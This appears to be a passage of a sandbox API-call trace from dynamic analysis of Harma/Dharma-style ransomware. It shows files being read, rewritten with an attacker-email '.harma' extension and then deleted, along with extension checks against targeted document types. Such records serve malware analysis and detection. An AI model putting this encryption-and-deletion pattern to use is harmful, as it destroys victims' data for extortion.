[0057.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0057.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.555] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.555] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.557] GetLastError () returned 0x0 [0057.557] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0057.558] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0057.560] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.560] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.560] SetEndOfFile (hFile=0x1ec) returned 1 [0057.560] CloseHandle (hObject=0x1ec) returned 1 [0057.560] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.560] SetEndOfFile (hFile=0x1d0) returned 1 [0057.561] CloseHandle (hObject=0x1d0) returned 1 [0057.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.561] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0057.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.561] lstrlenW (lpString=".doc") returned 4 [0057.562] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.562] lstrlenW (lpString=".docx") returned 5 [0057.562] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.562] lstrlenW (lpString=".pdf") returned 4 [0057.562] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.562] lstrlenW (lpString=".xls") returned 4 [0057.562] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.562] lstrlenW (lpString=".xlsx") returned 5 [0057.562] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.562] lstrlenW (lpString=".ppt") returned 4 [0057.562] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.562] lstrlenW (lpString=".zip") returned 4 [0057.562] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.562] lstrlenW (lpString=".rar") returned 4 [0057.562] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.562] lstrlenW (lpString=".bz2") returned 4 [0057.562] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.562] lstrlenW (lpString=".7z") returned 3 [0057.562] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.562] lstrlenW (lpString=".dbf") returned 4 [0057.562] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.562] lstrlenW (lpString=".1cd") returned 4 [0057.562] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.562] lstrlenW (lpString=".jpg") returned 4 [0057.562] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.563] lstrlenW (lpString=".doc") returned 4 [0057.563] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.563] lstrlenW (lpString=".docx") returned 5 [0057.563] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.563] lstrlenW (lpString=".pdf") returned 4 [0057.563] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.563] lstrlenW (lpString=".xls") returned 4 [0057.563] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.563] lstrlenW (lpString=".xlsx") returned 5 [0057.563] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.563] lstrlenW (lpString=".ppt") returned 4 [0057.563] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.563] lstrlenW (lpString=".zip") returned 4 [0057.563] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.563] lstrlenW (lpString=".rar") returned 4 [0057.563] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.563] lstrlenW (lpString=".bz2") returned 4 [0057.563] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.563] lstrlenW (lpString=".7z") returned 3 [0057.563] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.563] lstrlenW (lpString=".dbf") returned 4 [0057.563] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.563] lstrlenW (lpString=".1cd") returned 4 [0057.563] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0057.563] lstrlenW (lpString=".jpg") returned 4 [0057.563] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.564] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.564] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.564] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=32607) returned 1 [0057.564] CloseHandle (hObject=0x1d0) returned 1 [0057.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0057.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.564] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.565] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.565] GetLastError () returned 0x0 [0057.565] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0057.567] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0057.568] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.568] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.568] SetEndOfFile (hFile=0x1ec) returned 1 [0057.568] CloseHandle (hObject=0x1ec) returned 1 [0057.568] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.569] SetEndOfFile (hFile=0x1d0) returned 1 [0057.569] CloseHandle (hObject=0x1d0) returned 1 [0057.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.570] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0057.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.570] lstrlenW (lpString=".doc") returned 4 [0057.570] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.570] lstrlenW (lpString=".docx") returned 5 [0057.570] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.570] lstrlenW (lpString=".pdf") returned 4 [0057.570] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.570] lstrlenW (lpString=".xls") returned 4 [0057.570] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.570] lstrlenW (lpString=".xlsx") returned 5 [0057.570] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.570] lstrlenW (lpString=".ppt") returned 4 [0057.570] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.570] lstrlenW (lpString=".zip") returned 4 [0057.571] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.571] lstrlenW (lpString=".rar") returned 4 [0057.571] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.571] lstrlenW (lpString=".bz2") returned 4 [0057.571] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.571] lstrlenW (lpString=".7z") returned 3 [0057.571] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.571] lstrlenW (lpString=".dbf") returned 4 [0057.571] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.571] lstrlenW (lpString=".1cd") returned 4 [0057.571] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.571] lstrlenW (lpString=".jpg") returned 4 [0057.571] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.572] lstrlenW (lpString=".doc") returned 4 [0057.572] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.572] lstrlenW (lpString=".docx") returned 5 [0057.572] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.572] lstrlenW (lpString=".pdf") returned 4 [0057.572] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.572] lstrlenW (lpString=".xls") returned 4 [0057.572] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.572] lstrlenW (lpString=".xlsx") returned 5 [0057.572] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.572] lstrlenW (lpString=".ppt") returned 4 [0057.572] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.573] lstrlenW (lpString=".zip") returned 4 [0057.573] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.573] lstrlenW (lpString=".rar") returned 4 [0057.573] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.573] lstrlenW (lpString=".bz2") returned 4 [0057.573] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.573] lstrlenW (lpString=".7z") returned 3 [0057.573] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.573] lstrlenW (lpString=".dbf") returned 4 [0057.573] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.573] lstrlenW (lpString=".1cd") returned 4 [0057.573] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0057.573] lstrlenW (lpString=".jpg") returned 4 [0057.573] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.573] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.573] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.958] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2044) returned 1 [0057.958] CloseHandle (hObject=0x1fc) returned 1 [0057.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0057.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.958] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.958] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0057.960] GetLastError () returned 0x0 [0057.960] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0057.962] WriteFile (in: hFile=0x164, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x800, lpOverlapped=0x0) returned 1 [0057.963] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.963] WriteFile (in: hFile=0x164, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.963] SetEndOfFile (hFile=0x164) returned 1 [0057.963] CloseHandle (hObject=0x164) returned 1 [0057.964] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.964] SetEndOfFile (hFile=0x1fc) returned 1 [0057.965] CloseHandle (hObject=0x1fc) returned 1 [0057.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.965] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.966] lstrlenW (lpString=".doc") returned 4 [0057.966] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.966] lstrlenW (lpString=".docx") returned 5 [0057.966] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.966] lstrlenW (lpString=".pdf") returned 4 [0057.966] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.966] lstrlenW (lpString=".xls") returned 4 [0057.966] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.966] lstrlenW (lpString=".xlsx") returned 5 [0057.966] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.966] lstrlenW (lpString=".ppt") returned 4 [0057.966] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.966] lstrlenW (lpString=".zip") returned 4 [0057.966] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.966] lstrlenW (lpString=".rar") returned 4 [0057.966] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.966] lstrlenW (lpString=".bz2") returned 4 [0057.966] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.966] lstrlenW (lpString=".7z") returned 3 [0057.966] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.966] lstrlenW (lpString=".dbf") returned 4 [0057.967] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.967] lstrlenW (lpString=".1cd") returned 4 [0057.967] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.967] lstrlenW (lpString=".jpg") returned 4 [0057.967] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.967] lstrlenW (lpString=".doc") returned 4 [0057.967] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.967] lstrlenW (lpString=".docx") returned 5 [0057.967] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.967] lstrlenW (lpString=".pdf") returned 4 [0057.967] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.967] lstrlenW (lpString=".xls") returned 4 [0057.967] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.967] lstrlenW (lpString=".xlsx") returned 5 [0057.967] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.967] lstrlenW (lpString=".ppt") returned 4 [0057.967] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.967] lstrlenW (lpString=".zip") returned 4 [0057.967] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.968] lstrlenW (lpString=".rar") returned 4 [0057.968] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.968] lstrlenW (lpString=".bz2") returned 4 [0057.968] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.968] lstrlenW (lpString=".7z") returned 3 [0057.968] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.968] lstrlenW (lpString=".dbf") returned 4 [0057.968] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.968] lstrlenW (lpString=".1cd") returned 4 [0057.968] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0057.968] lstrlenW (lpString=".jpg") returned 4 [0057.968] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.968] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.968] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.106] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=28595) returned 1 [0058.106] CloseHandle (hObject=0x204) returned 1 [0058.106] GetFileAttributesW 